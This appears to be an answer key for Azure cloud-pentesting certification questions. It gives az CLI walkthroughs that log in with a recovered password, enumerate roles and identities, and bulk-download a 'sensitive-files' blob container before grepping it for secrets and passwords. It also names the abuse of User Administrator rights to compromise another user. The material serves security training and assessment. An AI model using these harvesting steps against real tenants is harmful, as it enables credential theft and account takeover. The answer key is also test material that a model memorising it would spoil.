CCPenX-Az Certified Cloud Pentesting eXpert - Azure Questions and Answers

Detailed Solution:

Log in using the credential recovered in Q4.

az login -u sumit.siddharth@azuresecops.onmicrosoft.com -p ' < recovered-password > '

Confirm the current signed-in user:

az ad signed-in-user show --output json

Now enumerate the user’s Microsoft Entra ID role memberships through Microsoft Graph.

az rest --method GET \

--url " https://graph.microsoft.com/v1.0/me/memberOf " \

--output json

To display only role names:

az rest --method GET \

--url " https://graph.microsoft.com/v1.0/me/memberOf " \

--query " value[].displayName " \

--output table

The relevant role is:

User Administrator

This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.

Final Answer:

B. User Administrator

================

Detailed Solution:

Resolve the service principal object ID:

az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv

Then list role assignments:

SP_OBJECT_ID=$(az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv)

az role assignment list \

--assignee " $SP_OBJECT_ID " \

--all \

--output table

Expected output:

Principal Role Scope

------------------------------------ ----------- ----------------------------------------

< sp-object-id > Contributor /subscriptions/5d8e44ac-...

Correct answer:

B. Contributor

================

allowBlobPublicAccess: true

Detailed Solution:

Run:

az storage account show \

--name prodreportstore01 \

--resource-group rg-prod-apps-eastus \

--query " {Name:name,AllowBlobPublicAccess:allowBlobPublicAccess} " \

--output json

Expected output:

{

" Name " : " prodreportstore01 " ,

" AllowBlobPublicAccess " : true

}

This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.

================

rg-prod-apps-eastus

Detailed Solution:

List accessible resource groups:

az group list --output table

For a cleaner search:

az group list \

--query " [?contains(name, ' prod ' )].{Name:name,Location:location} " \

--output table

Expected output:

Name Location

-------------------- ----------

rg-prod-apps-eastus eastus

The resource group containing prod is:

rg-prod-apps-eastus

================

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token " $SAS " \

--query " [].name " \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token " $SAS "

Search the downloaded files for application credentials:

grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " -CaseSensitive:$false

A typical file may look like this:

{

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,

" clientId " : " < application-client-id > " ,

" clientSecret " : " < application-client-secret > "

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

================

Detailed Solution:

First identify the managed identity attached to the Web App.

az webapp identity show \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

You should see a user-assigned managed identity similar to:

{

" userAssignedIdentities " : {

" /subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity " : {

" clientId " : " cf3664d4-5cec-4feb-b0ef-88b7958809df " ,

" principalId " : " efe89e83-010f-42f6-9576-30531fa47af7 "

}

}

}

Now query the role assignments for the managed identity’s principal ID:

az role assignment list \

--assignee efe89e83-010f-42f6-9576-30531fa47af7 \

--all \

--output table

The returned custom role is:

AppService-Auditor

That makes option D correct.

Final Answer:

D. AppService-Auditor

================